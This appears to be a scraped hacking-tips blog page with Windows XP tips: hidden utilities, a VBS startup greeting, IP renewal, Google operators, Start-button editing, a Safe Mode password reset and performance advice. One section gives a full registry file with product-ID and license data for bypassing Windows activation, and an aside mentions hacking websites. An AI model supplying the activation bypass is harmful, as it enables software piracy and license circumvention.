MyH@ckzs -- learn hack 24by7: windowsxp

Top 25 Application Secrets in Windows XP

<div dir="ltr" style="text-align: left;" trbidi="on">
There are some hidden secrets inside the application 
window XP and sometimes we do not know ... 
the following list is a list of confidential applications are: 
 
 
To run the applications below:[/color] 
Open a command prompt and Type the name of the program (example: 
cleanmgr.exe) 
or click Start -> Run and Type in the name of the program (example: cleanmgr.exe). 
 
 
1. Disk Cleanup = cleanmgr.exe 
Used to cleanup disk 
 
2. Character Map = charmap.exe 
Used to search for unusual characters 
 
3. Dr Watson = drwtsn32.exe 
Used for troubleshooting on the PC. 
 
4. DirectX diagnosis = dxdiag.exe 
Used for diagnosis audio video card 
 
5. Private character editor = eudcedit.exe 
Used to create a new character in your windows 
 
6. IExpress Wizard = iexpress.exe 
Used to create self-extracting / self-installing package. such as a Zip file 
 
7. MICR * Synchronization Manager = mobsync.exe soft 
Used to make sincronisasi. 
 
8. Clipboard Viewer = clipbrd.exe 
Used to view the content of the Windows clipboard 
 
9. Windows Media Player 5.1 = mplay32.exe 
Used to open Windows Media Player version 5.1 
 
10. ODBC Data Source Administrator = odbcad32.exe 
Used for database 
 
11. Object Packager = packager.exe 
Used to insert an object into a file. 
 
12. System Configuration Editor = sysedit.exe 
Used to change the system.ini and win.ini 
 
13. Syskey = syskey.exe 
Used to configure an account on the windows. 
 
14. MICR * soft Telnet Client = telnet.exe 
Used to connect to the Internet before there was a browser. 
 
15. Driver Verifier Manager = verifier.exe 
Used for monitoring drivers in your windows 
 
16. Windows for Workgroups Chat = winchat.exe 
Used to chat sec 
 
17. System configuration = msconfig.exe 
Used to control startup programs 
 
18. System Monitor = perfmon.exe 
Used to monitor your PC. 
 
19. Program Manager = progman.exe 
Is inherited from Windows 3.x desktop shell 
 
20. gpedit.msc 
Used to set the group policy and authorization, if you use Active Directory. 
 
21. Remote Access phone book = rasphone.exe 
It is applications like phone book 
 
22. Registry Editor = Regedt32.exe [also regedit.exe] 
Used for tweaking and editing windows registry 
 
23. Network shared folder wizard = shrpubw.exe 
Used to create a shared network folder 
 
24. Siganture file verification tool = sigverif.exe 
Used to verify signatures 
 
25. Volume Control = sndvol32.exe 
Used to display the sound control in the System Tray</div>

Top 25 Application Secrets in Windows XP

There are some hidden secrets inside the application window XP and sometimes we do not know ... the following list is a list of confident...

Make your WINDOWS XP Genuine Without any Software

<div dir="ltr" style="text-align: left;" trbidi="on">
 
 
OPEN NOTEPAD AND WRITE THIS: 
 
 
Windows Registry Editor Version 5.00 
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WPAEvents] 
"OOBETimer"=hex:ff,d5,71,d6,8b,6a,8d,6f,d5,33,93,fd 
 
"LastWPAEventLogged"=hex:d5,07,05,00,06,00,07,00,0f,00,38,00,24,00,fd,02 
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion] 
"CurrentBuild"="1.511.1 () (Obsolete data - do not use)" 
"InstallDate"=dword:427cdd95 
"ProductId"="69831-640-1780577-45389" 
"DigitalProductId"=hex:a4,00,00,00,03,00,00,00,36,39,38,33,31,2d,36,34,30,2d,\ 
31,37,38,30,35,37,37,2d,34,35,33,38,39,00,5a,00,00,00,41,32,32,2d,30,30,30,\ 
30,31,00,00,00,00,00,00,00,00,0d,04,89,b2,15,1b,c4,ee,62,4f,e6,64,6f,01,00,\ 
00,00,00,00,27,ed,85,43,a2,20,01,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\ 
00,00,00,00,00,00,00,00,00,00,00,31,34,35,30,34,00,00,00,00,00,00,00,ce,0e,\ 
00,00,12,42,15,a0,00,08,00,00,87,01,00,00,00,00,00,00,00,00,00,00,00,00,00,\ 
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,94,a2,b3,ac 
"LicenseInfo"=hex:9e,bf,09,d0,3a,76,a5,27,bb,f2,da,88,58,ce,58,e9,05,6b,0b,82,\ 
c3,74,ab,42,0d,fb,ee,c3,ea,57,d0,9d,67,a5,3d,6e,42,0d,60,c0,1a,70,24,46,16,\ 
0a,0a,ce,0d,b8,27,4a,46,53,f3,17 
 
 
NOW SAVE AS WINDOWS.REG AS FILE NAME OPEN THAT,,AND I GUARANTEE U THAT UR ALL VALIDATION HAVE BEEN FIXED WITHIN A SECOND,,NOW U HAVE GENUINE WINDOWS</div>

Make your WINDOWS XP Genuine Without any Software

OPEN NOTEPAD AND WRITE THIS: Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WP...

Trick to make your PC Welcomes You when you power ON

<div dir="ltr" style="text-align: left;" trbidi="on">
Now just follow below instructions : 
<ol>
<li>Click on Start. Navigate to All Programs, Accessories and Notepad.</li>
<li> Copy and paste the exact code given below. 
</li>
</ol>
<blockquote style="color: blue;">
Dim speaks, speech 
speaks="Welcome to your PC, Username" 
Set speech=CreateObject("sapi.spvoice") 
speech.Speak speaks</blockquote>
     3.  Replace Username with your own name. 
     4.  Click on File Menu, Save As, select All Types in Save as Type
 option, and save the file as Welcome.vbs or "*.vbs". 
     5.  Copy the saved file. 
     6.  Navigate to C:\Documents and Settings\All Users\Start Menu\Programs\Startup (in Windows XP) and to C:\Users\ {User-Name}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
 (in Windows 8, Windows 7 and Windows Vista) if C: is your System drive.
 AppData is a hidden folder. So, you will need to select showing hidden 
folders in Folder options to locate it. 
     7.  Paste the file. 
 
 
Now when the next time you start your computer, Windows will welcome you in its own computerized voice.

Note
: For best results, it is recommended to change sound scheme to No Sounds. 
You can change the sound scheme to No Sounds by following the steps given below:- 
 
<ol>
<li>Go to Control Panel.</li>
<li>Then click on Switch to Classic View.</li>
<li>Then Click on Sounds and Audio Devices.</li>
<li>Then Click on the Sounds Tab.</li>
<li>Select No Sounds from the Sound Scheme option. </li>
<li>If you wish to save your Previous Sound Scheme, you can save it by clicking Yes in the popup menu.</li>
<li>Click on OK.</li>
</ol>
<div class="separator" style="clear: both; text-align: center;">
<img alt="Change Sound Scheme to No Sounds" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsCEzQR6MaV5-kqyJT4S3zws98esQ7N_N9JQwQoaPHjk-kdEoX3HUQOIgksDRJh7NtV0Hi5Ok8yukp3qmvbEkUIaqpi46RxxK-F29HkNNqeCL66Pt7MGKe2C8mK_7U-nhYqloWYYxPkJPo/s320/Change+sound+schemes+to+No+sounds.JPG" /></div>
 
Try it yourself to see how it works. In my personal opinion, this is an 
excellent trick. Whenever I start my PC in front of anybody and the PC 
welcomes me, the fellow is left wondering how brilliant a computer do I 
have.</div>

Trick to make your PC Welcomes You when you power ON

Now just follow below instructions : Click on Start. Navigate to All Programs, Accessories and Notepad. Copy and paste the exact code...

Change The Default Location For Installing Apps in Windows Operating system

As the size of hard drives increase, more people are using partitions to separate and store groups of files. XP uses the C:\Program File...

How To: Change Your Ip In Less Then 1 Minute

<div dir="ltr" style="text-align: left;" trbidi="on">
 
How To: Change Your Ip In Less Then 1 Minute 
 
1. Click on "Start" in the bottom left hand corner of screen 
2. Click on "Run" 
3. Type in "command" and hit ok 
 
You should now be at an MSDOS prompt screen. 
 
4. Type "ipconfig /release" just like that, and hit "enter" 
5. Type "exit" and leave the prompt 
6. Right-click on "Network Places" or "My Network Places" on your desktop. 
7. Click on "properties" 
 
You should now be on a screen with something titled "Local Area Connection", or something close to that, and, if you have a network hooked up, all of your other networks. 
 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXUGGeIHbAcsDG7pKDZePoanyAlOGaRdXNhAKOuHP24l0mx2-WbCfdiF2rnyfBcxGN6Dpdk1rQlN81YcIAojdzffBYgs4WKVTtkywao2OMPtcy5LEyw90x2FIdNuG_33QC0nh2jdA1xFA/s1600/ipAddressSet.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXUGGeIHbAcsDG7pKDZePoanyAlOGaRdXNhAKOuHP24l0mx2-WbCfdiF2rnyfBcxGN6Dpdk1rQlN81YcIAojdzffBYgs4WKVTtkywao2OMPtcy5LEyw90x2FIdNuG_33QC0nh2jdA1xFA/s320/ipAddressSet.jpg" width="284" /></a></div>
 
8. Right click on "Local Area Connection" and click "properties" 
9. Double-click on the "Internet Protocol (TCP/IP)" from the list under the "General" tab 
10. Click on "Use the following IP address" under the "General" tab 
11. Create an IP address (It doesn't matter what it is. I just type 1 and 2 until i fill the area up). 
12. Press "Tab" and it should automatically fill in the "Subnet Mask" section with default numbers. 
13. Hit the "Ok" button here 
14. Hit the "Ok" button again 
 
You should now be back to the "Local Area Connection" screen. 
 
15. Right-click back on "Local Area Connection" and go to properties again. 
16. Go back to the "TCP/IP" settings 
17. This time, select "Obtain an IP address automatically" 
tongue.gif 18. Hit "Ok" 
19. Hit "Ok" again 
20. You now have a new IP address 
 
With a little practice, you can easily get this process down to 15 seconds. 
 
P.S: 
This only changes your dynamic IP address, not your ISP/IP address. If you plan on hacking a website with this trick be extremely careful, because if they try a little, they can trace it back 
 </div>

How To: Change Your Ip In Less Then 1 Minute

How To: Change Your Ip In Less Then 1 Minute 1. Click on "Start" in the bottom left hand corner of screen 2. Click on "R...

20 Great Google Secrets

<div dir="ltr" style="text-align: left;" trbidi="on">
 
Google is clearly the best general-purpose search engine on the Web (see 
 
www.pcmag.com/searchengines 
 
But most people don't use it to its best advantage. Do you just plug in a keyword or two and hope for the best? That may be the quickest way to search, but with more than 3 billion pages in Google's index, it's still a struggle to pare results to a manageable number. 
 
But Google is an remarkably powerful tool that can ease and enhance your Internet exploration. Google's search options go beyond simple keywords, the Web, and even its own programmers. Let's look at some of Google's lesser-known options. 
 
Syntax Search Tricks 
 
Using a special syntax is a way to tell Google that you want to restrict your searches to certain elements or characteristics of Web pages. Google has a fairly complete list of its syntax elements at 
 
www.google.com/help/operators.html 
 
. Here are some advanced operators that can help narrow down your search results. 
 
Intitle: at the beginning of a query word or phrase (intitle:"Three Blind Mice") restricts your search results to just the titles of Web pages. 
 
Intext: does the opposite of intitle:, searching only the body text, ignoring titles, links, and so forth. Intext: is perfect when what you're searching for might commonly appear in URLs. If you're looking for the term HTML, for example, and you don't want to get results such as 
 
www.mysite.com/index.html 
 
, you can enter intext:html. 
 
Link: lets you see which pages are linking to your Web page or to another page you're interested in. For example, try typing in 
 
link:http://www.pcmag.com 
 
 
Try using site: (which restricts results to top-level domains) with intitle: to find certain types of pages. For example, get scholarly pages about Mark Twain by searching for intitle:"Mark Twain"site:edu. Experiment with mixing various elements; you'll develop several strategies for finding the stuff you want more effectively. The site: command is very helpful as an alternative to the mediocre search engines built into many sites. 
 
Swiss Army Google 
 
Google has a number of services that can help you accomplish tasks you may never have thought to use Google for. For example, the new calculator feature 
 
(www.google.com/help/features.html#calculator) 
 
lets you do both math and a variety of conversions from the search box. For extra fun, try the query "Answer to life the universe and everything." 
 
Let Google help you figure out whether you've got the right spelling—and the right word—for your search. Enter a misspelled word or phrase into the query box (try "thre blund mise") and Google may suggest a proper spelling. This doesn't always succeed; it works best when the word you're searching for can be found in a dictionary. Once you search for a properly spelled word, look at the results page, which repeats your query. (If you're searching for "three blind mice," underneath the search window will appear a statement such as Searched the web for "three blind mice.") You'll discover that you can click on each word in your search phrase and get a definition from a dictionary. 
 
Suppose you want to contact someone and don't have his phone number handy. Google can help you with that, too. Just enter a name, city, and state. (The city is optional, but you must enter a state.) If a phone number matches the listing, you'll see it at the top of the search results along with a map link to the address. If you'd rather restrict your results, use rphonebook: for residential listings or bphonebook: for business listings. If you'd rather use a search form for business phone listings, try Yellow Search 
 
(www.buzztoolbox.com/google/yellowsearch.shtml). 
 
 
 
 
Extended Googling 
 
Google offers several services that give you a head start in focusing your search. Google Groups 
 
(http://groups.google.com) 
 
indexes literally millions of messages from decades of discussion on Usenet. Google even helps you with your shopping via two tools: Froogle 
CODE 
(http://froogle.google.com), 
 
which indexes products from online stores, and Google Catalogs 
CODE 
(http://catalogs.google.com), 
 
which features products from more 6,000 paper catalogs in a searchable index. And this only scratches the surface. You can get a complete list of Google's tools and services at 
 
www.google.com/options/index.html 
 
You're probably used to using Google in your browser. But have you ever thought of using Google outside your browser? 
 
Google Alert 
 
(www.googlealert.com) 
 
monitors your search terms and e-mails you information about new additions to Google's Web index. (Google Alert is not affiliated with Google; it uses Google's Web services API to perform its searches.) If you're more interested in news stories than general Web content, check out the beta version of Google News Alerts 
 
(www.google.com/newsalerts). 
 
This service (which is affiliated with Google) will monitor up to 50 news queries per e-mail address and send you information about news stories that match your query. (Hint: Use the intitle: and source: syntax elements with Google News to limit the number of alerts you get.) 
 
Google on the telephone? Yup. This service is brought to you by the folks at Google Labs 
 
(http://labs.google.com), 
 
a place for experimental Google ideas and features (which may come and go, so what's there at this writing might not be there when you decide to check it out). With Google Voice Search 
 
(http://labs1.google.com/gvs.html), 
 
you dial the Voice Search phone number, speak your keywords, and then click on the indicated link. Every time you say a new search term, the results page will refresh with your new query (you must have JavaScript enabled for this to work). Remember, this service is still in an experimental phase, so don't expect 100 percent success. 
 
In 2002, Google released the Google API (application programming interface), a way for programmers to access Google's search engine results without violating the Google Terms of Service. A lot of people have created useful (and occasionally not-so-useful but interesting) applications not available from Google itself, such as Google Alert. For many applications, you'll need an API key, which is available free from 
CODE 
www.google.com/apis 
 
. See the figures for two more examples, and visit 
 
www.pcmag.com/solutions 
 
for more. 
 
Thanks to its many different search properties, Google goes far beyond a regular search engine. Give the tricks in this article a try. You'll be amazed at how many different ways Google can improve your Internet searching. 
 
 
Online Extra: More Google Tips 
 
 
Here are a few more clever ways to tweak your Google searches. 
 
Search Within a Timeframe 
 
Daterange: (start date–end date). You can restrict your searches to pages that were indexed within a certain time period. Daterange: searches by when Google indexed a page, not when the page itself was created. This operator can help you ensure that results will have fresh content (by using recent dates), or you can use it to avoid a topic's current-news blizzard and concentrate only on older results. Daterange: is actually more useful if you go elsewhere to take advantage of it, because daterange: requires Julian dates, not standard Gregorian dates. You can find converters on the Web (such as 
 
CODE 
http://aa.usno.navy.mil/data/docs/JulianDate.html 
 
excl.gif No Active Links, Read the Rules - Edit by Ninja excl.gif 
 
 
), but an easier way is to do a Google daterange: search by filling in a form at 
 
www.researchbuzz.com/toolbox/goofresh.shtml or www.faganfinder.com/engines/google.shtml 
 
. If one special syntax element is good, two must be better, right? Sometimes. Though some operators can't be mixed (you can't use the link: operator with anything else) many can be, quickly narrowing your results to a less overwhelming number. 
 
More Google API Applications 
 
Staggernation.com offers three tools based on the Google API. The Google API Web Search by Host (GAWSH) lists the Web hosts of the results for a given query 
 
(www.staggernation.com/gawsh/). 
 
When you click on the triangle next to each host, you get a list of results for that host. The Google API Relation Browsing Outliner (GARBO) is a little more complicated: You enter a URL and choose whether you want pages that related to the URL or linked to the URL 
 
(www.staggernation.com/garbo/). 
 
Click on the triangle next to an URL to get a list of pages linked or related to that particular URL. CapeMail is an e-mail search application that allows you to send an e-mail to google@capeclear.com with the text of your query in the subject line and get the first ten results for that query back. Maybe it's not something you'd do every day, but if your cell phone does e-mail and doesn't do Web browsing, this is a very handy address to know. 
</div>

20 Great Google Secrets

Google is clearly the best general-purpose search engine on the Web (see www.pcmag.com/searchengines But most people don't use it ...

Change Text on XP Start Button

<div dir="ltr" style="text-align: left;" trbidi="on">
 
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
Step 1 - Modify
Explorer.exe File<o:p></o:p></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
 </div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
In order to make the
changes, the file explorer.exe located at C:\Windows needs to be edited. Since
explorer.exe is a binary file it requires a special editor. For purposes of
this article I have used Resource Hacker. Resource HackerTM is a freeware
utility to view, modify, rename, add, delete and extract resources in 32bit
Windows executables and resource files (*.res). It incorporates an internal
resource script compiler and decompiler and works on Microsoft Windows
95/98/ME, Windows NT, Windows 2000 and Windows XP operating systems.<o:p></o:p></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
 </div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
get this from
h**p://delphi.icm.edu.pl/ftp/tools/ResHack.zip<o:p></o:p></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
 </div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
The first step is to
make a backup copy of the file explorer.exe located at C:\Windows\explorer.
Place it in a folder somewhere on your hard drive where it will be safe. Start
Resource Hacker and open explorer.exe located at C:\Windows\explorer.exe.<o:p></o:p></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
 </div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
The category we are
going to be using is "String Table". Expand it by clicking the plus
sign then navigate down to and expand string 37 followed by highlighting 1033.
If you are using the Classic Layout rather than the XP Layout, use number 38.
The right hand pane will display the stringtable. We’re going to modify item
578, currently showing the word “start” just as it displays on the current
Start button.<o:p></o:p></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
 </div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
There is no magic
here. Just double click on the word “start” so that it’s highlighted, making
sure the quotation marks are not part of the highlight. They need to remain in
place, surrounding the new text that you’ll type. Go ahead and type your new
entry. In my case I used Click Me!<o:p></o:p></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
 </div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
You’ll notice that
after the new text string has been entered the Compile Script button that was
grayed out is now active. I won’t get into what’s involved in compiling a
script, but suffice it to say it’s going to make this exercise worthwhile.
Click Compile Script and then save the altered file using the Save As command
on the File Menu. Do not use the Save command – Make sure to use the Save As
command and choose a name for the file. Save the newly named file to
C:\Windows.<o:p></o:p></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
 </div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
 </div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
Step 2 – Modify the
Registry<o:p></o:p></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
 </div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
!!!make a backup of
your registry before making changes!!!<o:p></o:p></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
 </div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
Now that the modified
explorer.exe has been created it’s necessary to modify the registry so the file
will be recognized when the user logs on to the system. If you don’t know how
to access the registry I’m not sure this article is for you, but just in case
it’s a temporary memory lapse, go to Start (soon to be something else) Run and
type regedit in the Open field. Navigate to:<o:p></o:p></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
 </div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
HKEY_LOCAL_MACHINE\
SOFTWARE\ Microsoft\ Windows NT\ CurrentVersion\ Winlogon<o:p></o:p></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
 </div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
In the right pane,
double click the "Shell" entry to open the Edit String dialog box. In
Value data: line, enter the name that was used to save the modified
explorer.exe file. Click OK.<o:p></o:p></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
 </div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
Close Registry Editor
and either log off the system and log back in, or reboot the entire system if
that’s your preference. If all went as planned you should see your new Start
button with the revised text.[/b] <o:p></o:p></div>
</div>

Change Text on XP Start Button

Step 1 - Modify Explorer.exe File In order to make the changes, the file explorer.exe located at C:\Windows needs to be edited. Since...

cannot use my password to get back into Windows XP

<div dir="ltr" style="text-align: left;" trbidi="on">
 
Because of the security features built into Windows XP, it is virtually impossible to get back into the system without the password. 
You have several options to try and get around this problem. 
 
 
If you have access to another user account with administrator rights, you can use that account to change the password 
of the account that is locked out. You can also use the default Administrator account that is built into Windows XP. 
 
First you need to boot the system into Safe Mode. 
1.Restart your system. 
2.When you see the blue Dell globe or screen, press the ( F8 ) key about 3 times a second. 
3.You should get the Windows startup menu. Use the (Up or Down) arrow keys to highlight (SafeMode) 
4.Press (Enter) on (Safe Mode), then press (Enter) on (Windows XP). 
5.The system should boot to Safe Mode. 
 
Once you are at the Account Log on Screen, click on the icon 
for the user account with administrator rights, or click on the icon 
for the administrators account. 
Note: For Home the Administrator account isn't normally shown & in Safe Mode you have to press Ctrl+Alt+Delete keys twice to show. 
For PRO you can do this in normal mode 
 
When the system has booted to the desktop, use the following steps to change the accounts password. 
1.Click Start, Control Panel, Administrative Tools. 
2.Click Computer Management. 
3.Double click Local Users and Groups, double click the folder Users. 
4.Right click on the account name that is locked out, and click on Set Password. 
5.You may get a warning message about changing the password, simply click proceed. 
6.Leave the New Password box blank, also leave the Confirm Password box blank. 
7.Click OK, and OK again. 
8.Then close all Windows, reboot the system and try to log in. 
 
 
There are also applications that can recover the password for you. 
The following companies provide these applications at a cost. 
iOpus® Password Recovery XP here. 
LostPassword.com, here. 
Asterisk Password Recovery XP v1.89 here. 
Windows XP / 2000 / NT Key here. 
 
 
If the above information does not help in recovering the password, the only option left is to 
format the hard drive then reinstall Windows and the system software. 
</div>

cannot use my password to get back into Windows XP

Because of the security features built into Windows XP, it is virtually impossible to get back into the system without the password. You ...

Windows XP performance, here are 23 suggestions that will. Each can enhance the performance and reliability of your customers' PCs

<div dir="ltr" style="text-align: left;" trbidi="on">
 
Since defragging the disk won't do much to improve Windows XP performance, here are 23 suggestions that will. Each can enhance the performance and reliability of your customers' PCs. Best of all, most of them will cost you nothing. 
 
1.) To decrease a system's boot time and increase system performance, use the money you save by not buying defragmentation software -- the built-in Windows defragmenter works just fine -- and instead equip the computer with an Ultra-133 or Serial ATA hard drive with 8-MB cache buffer. 
 
2.) If a PC has less than 512 MB of RAM, add more memory. This is a relatively inexpensive and easy upgrade that can dramatically improve system performance. 
 
3.) Ensure that Windows XP is utilizing the NTFS file system. If you're not sure, here's how to check: First, double-click the My Computer icon, right-click on the C: Drive, then select Properties. Next, examine the File System type; if it says FAT32, then back-up any important data. Next, click Start, click Run, type CMD, and then click OK. At the prompt, type CONVERT C: /FS:NTFS and press the Enter key. This process may take a while; it's important that the computer be uninterrupted and virus-free. The file system used by the bootable drive will be either FAT32 or NTFS. I highly recommend NTFS for its superior security, reliability, and efficiency with larger disk drives. 
 
4.) Disable file indexing. The indexing service extracts information from documents and other files on the hard drive and creates a "searchable keyword index." As you can imagine, this process can be quite taxing on any system. 
 
The idea is that the user can search for a word, phrase, or property inside a document, should they have hundreds or thousands of documents and not know the file name of the document they want. Windows XP's built-in search functionality can still perform these kinds of searches without the Indexing service. It just takes longer. The OS has to open each file at the time of the request to help find what the user is looking for. 
 
Most people never need this feature of search. Those who do are typically in a large corporate environment where thousands of documents are located on at least one server. But if you're a typical system builder, most of your clients are small and medium businesses. And if your clients have no need for this search feature, I recommend disabling it. 
 
Here's how: First, double-click the My Computer icon. Next, right-click on the C: Drive, then select Properties. Uncheck "Allow Indexing Service to index this disk for fast file searching." Next, apply changes to "C: subfolders and files," and click OK. If a warning or error message appears (such as "Access is denied"), click the Ignore All button. 
 
5.) Update the PC's video and motherboard chipset drivers. Also, update and configure the BIOS. For more information on how to configure your BIOS properly, see this article on my site. 
 
6.) Empty the Windows Prefetch folder every three months or so. Windows XP can "prefetch" portions of data and applications that are used frequently. This makes processes appear to load faster when called upon by the user. That's fine. But over time, the prefetch folder may become overloaded with references to files and applications no longer in use. When that happens, Windows XP is wasting time, and slowing system performance, by pre-loading them. Nothing critical is in this folder, and the entire contents are safe to delete. 
 
7.) Once a month, run a disk cleanup. Here's how: Double-click the My Computer icon. Then right-click on the C: drive and select Properties. Click the Disk Cleanup button -- it's just to the right of the Capacity pie graph -- and delete all temporary files. 
 
8.) In your Device Manager, double-click on the IDE ATA/ATAPI Controllers device, and ensure that DMA is enabled for each drive you have connected to the Primary and Secondary controller. Do this by double-clicking on Primary IDE Channel. Then click the Advanced Settings tab. Ensure the Transfer Mode is set to "DMA if available" for both Device 0 and Device 1. Then repeat this process with the Secondary IDE Channel. 
 
9.) Upgrade the cabling. As hard-drive technology improves, the cabling requirements to achieve these performance boosts have become more stringent. Be sure to use 80-wire Ultra-133 cables on all of your IDE devices with the connectors properly assigned to the matching Master/Slave/Motherboard sockets. A single device must be at the end of the cable; connecting a single drive to the middle connector on a ribbon cable will cause signaling problems. With Ultra DMA hard drives, these signaling problems will prevent the drive from performing at its maximum potential. Also, because these cables inherently support "cable select," the location of each drive on the cable is important. For these reasons, the cable is designed so drive positioning is explicitly clear. 
 
10.) Remove all spyware from the computer. Use free programs such as AdAware by Lavasoft or SpyBot Search & Destroy. Once these programs are installed, be sure to check for and download any updates before starting your search. Anything either program finds can be safely removed. Any free software that requires spyware to run will no longer function once the spyware portion has been removed; if your customer really wants the program even though it contains spyware, simply reinstall it. For more information on removing Spyware visit this Web Pro News page. 
 
11.) Remove any unnecessary programs and/or items from Windows Startup routine using the MSCONFIG utility. Here's how: First, click Start, click Run, type MSCONFIG, and click OK. Click the StartUp tab, then uncheck any items you don't want to start when Windows starts. Unsure what some items are? Visit the WinTasks Process Library. It contains known system processes, applications, as well as spyware references and explanations. Or quickly identify them by searching for the filenames using Google or another Web search engine. 
 
12.) Remove any unnecessary or unused programs from the Add/Remove Programs section of the Control Panel. 
 
13.) Turn off any and all unnecessary animations, and disable active desktop. In fact, for optimal performance, turn off all animations. Windows XP offers many different settings in this area. Here's how to do it: First click on the System icon in the Control Panel. Next, click on the Advanced tab. Select the Settings button located under Performance. Feel free to play around with the options offered here, as nothing you can change will alter the reliability of the computer -- only its responsiveness. 
 
14.) If your customer is an advanced user who is comfortable editing their registry, try some of the performance registry tweaks offered at Tweak XP. 
 
15.) Visit Microsoft's Windows update site regularly, and download all updates labeled Critical. Download any optional updates at your discretion. 
 
16.) Update the customer's anti-virus software on a weekly, even daily, basis. Make sure they have only one anti-virus software package installed. Mixing anti-virus software is a sure way to spell disaster for performance and reliability. 
 
17.) Make sure the customer has fewer than 500 type fonts installed on their computer. The more fonts they have, the slower the system will become. While Windows XP handles fonts much more efficiently than did the previous versions of Windows, too many fonts -- that is, anything over 500 -- will noticeably tax the system. 
 
18.) Do not partition the hard drive. Windows XP's NTFS file system runs more efficiently on one large partition. The data is no safer on a separate partition, and a reformat is never necessary to reinstall an operating system. The same excuses people offer for using partitions apply to using a folder instead. For example, instead of putting all your data on the D: drive, put it in a folder called "D drive." You'll achieve the same organizational benefits that a separate partition offers, but without the degradation in system performance. Also, your free space won't be limited by the size of the partition; instead, it will be limited by the size of the entire hard drive. This means you won't need to resize any partitions, ever. That task can be time-consuming and also can result in lost data. 
 
19.) Check the system's RAM to ensure it is operating properly. I recommend using a free program called MemTest86. The download will make a bootable CD or diskette (your choice), which will run 10 extensive tests on the PC's memory automatically after you boot to the disk you created. Allow all tests to run until at least three passes of the 10 tests are completed. If the program encounters any errors, turn off and unplug the computer, remove a stick of memory (assuming you have more than one), and run the test again. Remember, bad memory cannot be repaired, but only replaced. 
 
20.) If the PC has a CD or DVD recorder, check the drive manufacturer's Web site for updated firmware. In some cases you'll be able to upgrade the recorder to a faster speed. Best of all, it's free. 
 
21.) Disable unnecessary services. Windows XP loads a lot of services that your customer most likely does not need. To determine which services you can disable for your client, visit the Black Viper site for Windows XP configurations. 
 
22.) If you're sick of a single Windows Explorer window crashing and then taking the rest of your OS down with it, then follow this tip: open My Computer, click on Tools, then Folder Options. Now click on the View tab. Scroll down to "Launch folder windows in a separate process," and enable this option. You'll have to reboot your machine for this option to take effect. 
 
23.) At least once a year, open the computer's cases and blow out all the dust and debris. While you're in there, check that all the fans are turning properly. Also inspect the motherboard capacitors for bulging or leaks. For more information on this leaking-capacitor phenomena, you can read numerous articles on my site. 
 
 
Following any of these suggestions should result in noticeable improvements to the performance and reliability of your customers' computers. If you still want to defrag a disk, remember that the main benefit will be to make your data more retrievable in the event of a crashed drive. 
</div>

Windows XP performance, here are 23 suggestions that will. Each can enhance the performance and reliability of your customers' PCs

Since defragging the disk won't do much to improve Windows XP performance, here are 23 suggestions that will. Each can enhance the per...

10 Fast and Free Security Enhancements PC magazine

<div dir="ltr" style="text-align: left;" trbidi="on">
 
Before you spend a dime on security, there are many precautions you can take that will protect you against the most common threats. 
 
1. Check Windows Update and Office Update regularly (_http://office.microsoft.com/productupdates); have your Office CD ready. Windows Me, 2000, and XP users can configure automatic updates. Click on the Automatic Updates tab in the System control panel and choose the appropriate options. 
 
2. Install a personal firewall. Both SyGate (_www.sygate.com) and ZoneAlarm (_www.zonelabs.com) offer free versions. 
 
 
3. Install a free spyware blocker. Our Editors' Choice ("Spyware," April 22) was SpyBot Search & Destroy (_http://security.kolla.de). SpyBot is also paranoid and ruthless in hunting out tracking cookies. 
 
4. Block pop-up spam messages in Windows NT, 2000, or XP by disabling the Windows Messenger service (this is unrelated to the instant messaging program). Open Control Panel | Administrative Tools | Services and you'll see Messenger. Right-click and go to Properties. Set Start-up Type to Disabled and press the Stop button. Bye-bye, spam pop-ups! Any good firewall will also stop them. 
 
5. Use strong passwords and change them periodically. Passwords should have at least seven characters; use letters and numbers and have at least one symbol. A decent example would be f8izKro@l. This will make it much harder for anyone to gain access to your accounts. 
 
6. If you're using Outlook or Outlook Express, use the current version or one with the Outlook Security Update installed. The update and current versions patch numerous vulnerabilities. 
 
7. Buy antivirus software and keep it up to date. If you're not willing to pay, try Grisoft AVG Free Edition (Grisoft Inc., w*w.grisoft.com). And doublecheck your AV with the free, online-only scanners available at w*w.pandasoftware.com/activescan and _http://housecall.trendmicro.com. 
 
